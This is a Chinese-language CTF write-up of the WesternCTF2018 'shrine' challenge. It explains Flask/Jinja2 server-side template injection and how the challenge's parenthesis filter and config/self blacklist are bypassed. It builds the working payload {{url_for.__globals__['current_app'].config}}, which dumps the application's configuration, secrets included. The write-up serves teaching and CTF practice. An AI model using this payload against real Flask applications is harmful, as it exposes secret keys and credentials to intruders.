【WEB】[WesternCTF2018]shrine

考点:SSTI(服务端模板注入),Flask SSTI 过滤绕过,Python 函数的 __globals__ 属性

打开靶机。

有点乱,不方便看,右键查看网页源代码。

因为代码里有flaskjinja,所以很容易的就联想到了SSTI漏洞。

代码剖析:

划重点 :flag 就存在 app.config['FLAG'] 里,我们的目标就是拿到这个值。

python 复制代码
app.config['FLAG'] = os.environ.pop('FLAG')

把输入字符串里的所有左括号 ( 和右括号 ) 都删掉,过滤括号,让我们不能调用函数。

python 复制代码
 s = s.replace('(', '').replace(')', '')

比如:

  • 输入 {``{ config.__class__() }} → 变成 {``{ config.__class__ }}(括号没了,调用不了)

  • 输入 {``{ ''.__class__.__mro__[1].__subclasses__() }} → 括号全没了,废了

设置黑名单,把 configself 置为 None

python 复制代码
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
  • blacklist = ['config', 'self'] ------ 黑名单列表,包含 configself

  • '{% set {}=None%}'.format(c) ------ 对每个黑名单项,生成 {% set config=None %} 这样的语句

  • ''.join([...]) ------ 把所有语句拼起来

  • + s ------ 拼到我们输入的内容前面

比如,在我们的模板内容前面,会自动加上:

python 复制代码
{% set config=None %}
{% set self=None %}

这两行的意思是:把 config 变量和 self 变量设置为 None(空值)。

作用

  • 我们不能直接用 {``{ config }} 拿配置了,因为 config 被设成了 None

  • 我们不能用 {``{ self.__dict__ }} 之类的,因为 self 也被设成了 None

把经过 safe_jinja 处理后的字符串,当作 Jinja2 模板来渲染。

python 复制代码
 return flask.render_template_string(safe_jinja(shrine))
  • flask.render_template_string() ------ Flask 提供的函数,把字符串当作模板渲染

  • safe_jinja(shrine) ------ 先把我们的输入过滤一遍

  • 然后把过滤后的内容渲染成模板

这就是漏洞点 :我们输入的 shrine 参数,最终被当作模板渲染了,虽然有过滤,但过滤不严格,可以绕过。

先搞懂所有前置概念

什么是模板引擎?

模板引擎就是一个"填空游戏"的工具。你写一个带"空位"的HTML模板,模板引擎把数据填进去,生成最终的网页。

举个例子

html 复制代码
<!-- 模板文件 -->
<h1>你好,{{ name }}!</h1>
<p>你的年龄是:{{ age }}</p>
python 复制代码
# Python代码
render_template("模板.html", name="小明", age=18)

最终生成的网页:

html 复制代码
<h1>你好,小明!</h1>
<p>你的年龄是:18</p>

{``{ name }}{``{ age }} 就是"空位",模板引擎会把它们替换成真实的数据。

什么是 Jinja2?

Jinja2 是 Python 里最流行的模板引擎,Flask 框架默认用的就是它。

Jinja2 的语法特点:

  • {``{ 变量名 }} ------ 输出变量的值

  • {% 语句 %} ------ 执行控制语句(比如循环、判断)

  • {# 注释 #} ------ 模板里的注释

重点{``{ }} 里面不仅可以放变量名,还可以放表达式,甚至可以调用函数、访问属性。

比如:

html 复制代码
{{ 1 + 1 }}          <!-- 输出 2 -->
{{ "hello".upper() }} <!-- 输出 HELLO -->
{{ [1,2,3][0] }}     <!-- 输出 1 -->

这就是 SSTI 漏洞的基础------如果用户能控制模板内容,就能在 {``{ }} 里写任意代码。

什么是 SSTI?

SSTI = Server-Side Template Injection = 服务端模板注入

原理 :用户输入的内容被当作模板代码执行了,而不是被当作普通字符串显示。

对比一下

正常情况 有SSTI漏洞
用户输入 {``{7*7}} 用户输入 {``{7*7}}
页面显示:{``{7*7}}(原样显示) 页面显示:49(被执行了)

怎么判断有没有SSTI?

在输入框或URL参数里输 {``{7*7}},如果页面显示 49,说明被执行了,存在SSTI。

Flask 是什么?

Flask 是 Python 的一个轻量级 Web 框架,用来写网站的。

这道题就是用 Flask 写的。

Flask 和 Jinja2 的关系:

  • Flask 负责处理 HTTP 请求、路由等

  • Jinja2 负责渲染 HTML 模板

  • 它们是黄金搭档,Flask 默认集成了 Jinja2

Python 的 __globals__ 是什么?

Python 里每个函数都有一个 __globals__ 属性,它是一个字典,存着这个函数所在模块的所有全局变量

python 复制代码
# 这是一个模块文件:test.py

x = 100
y = "hello"

def my_func():
    pass

print(my_func.__globals__)

运行结果:

python 复制代码
{
    'x': 100,
    'y': 'hello',
    'my_func': <function my_func  0x...>,
    '__name__': '__main__',
    ... 其他内置变量
}

可以看到,my_func.__globals__ 里包含了这个模块里所有的全局变量:xymy_func 自己,等等。

这很重要 ,因为如果我们能拿到一个函数的 __globals__,就能拿到这个函数所在模块的所有全局变量。

在这道题里,url_for 是 Flask 里的函数,它的 __globals__ 里就有 Flask 应用的各种全局变量,包括 current_app

Flask 的内置全局变量/函数

在 Jinja2 模板里,Flask 默认提供了一些可以直接用的全局变量和函数:

名字 类型 作用
config 变量 Flask应用的配置对象,app.config
request 变量 当前请求对象
session 变量 当前会话对象
url_for() 函数 根据路由函数名生成URL
get_flashed_messages() 函数 获取闪现消息

注意

  • configrequestsession变量(对象)

  • url_forget_flashed_messages函数

这道题过滤了 configself,但没过滤 url_forget_flashed_messages。

步骤分析:

我们的目标是拿到 app.config['FLAG']

也就是要找到一个方法,在模板里访问到 Flask 应用对象 app,然后访问它的 config 属性。

因为config和self被设为空,括号不给用,所以我们需要找一个模板里能用的、不需要括号的东西 ,通过它间接拿到 app

在Jinja2 模板里,url_for是一个函数,函数有什么特殊属性?------ __globals__,前面讲过,每个函数都有 __globals__ 属性,里面是函数所在模块的所有全局变量。

url_for 是 Flask 里的函数,它定义在 Flask 的模块里,那它的 __globals__ 里应该有 Flask 的各种全局变量,包括 current_app(当前应用对象)。

思路

复制代码
url_for(模板里能用的函数)
    ↓
.__globals__(函数的全局变量字典)
    ↓
['current_app'](当前Flask应用对象)
    ↓
.config(应用配置,里面有FLAG)

这条链路上只需要属性访问和字典访问,都没被过滤。

验证思路:

先用一个7+7测试一下。

复制代码
/shrine/{{7+7}}
复制代码
/shrine/{{ url_for.__globals__ }}

确认是应用对象:

复制代码
/shrine/{{url_for.__globals__['current_app']}}
复制代码
/shrine/{{url_for.__globals__['current_app'].config}}

最后再分析一下这个payload。

复制代码
{{ url_for.__globals__ ['current_app'] .config }}
                       ↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑

__globals__ 字典里取出键为 current_app 的值。

第一层:{``{ ... }}

复制代码
{{ url_for.__globals__['current_app'].config }}
↑↑                                            ↑↑

{``{ }} 是 Jinja2 的输出语法,意思是"把里面表达式的结果输出到页面上"。

第二层:url_for

复制代码
{{ url_for .__globals__['current_app'].config }}
   ↑↑↑↑↑↑↑

url_for 是 Flask 在模板里提供的全局函数,用来根据路由名生成 URL。

它本身是一个函数对象,我们这里不调用它(因为括号被过滤了,也不需要调用),只是把它当作一个普通对象来访问它的属性。

第三层:.__globals__

复制代码
{{ url_for .__globals__ ['current_app'].config }}
           ↑↑↑↑↑↑↑↑↑↑↑

__globals__ 是 Python 函数的一个特殊属性,它是一个字典,包含了函数定义所在模块的所有全局变量。

因为 url_for 是 Flask 模块里的函数,所以 url_for.__globals__ 里有 Flask 模块的所有全局变量。

第四层:['current_app']

复制代码
{{ url_for.__globals__ ['current_app'] .config }}
                       ↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑

__globals__ 字典里取出键为 current_app 的值。

current_app 是什么?

  • 它是 Flask 的一个"代理对象",代表当前正在处理请求的 Flask 应用

  • 简单理解:current_app 就约等于 app(我们在源码里创建的那个 Flask 应用对象)

为什么不直接用 app

  • 因为 app 可能不在 __globals__ 里,或者名字不一样

  • current_app 是 Flask 的标准全局变量,一定在

第五层:.config

复制代码
{{ url_for.__globals__['current_app'] .config }}
                                           ↑↑↑↑↑↑↑

访问 current_appconfig 属性。

config 是 Flask 应用的配置对象,本质上是一个字典。

我们的 flag 就存在 app.config['FLAG'] 里,也就是 current_app.config['FLAG'] 里。

直接访问 .config 会把整个配置字典都显示出来,我们就能在里面找到 FLAG 的值。

===END===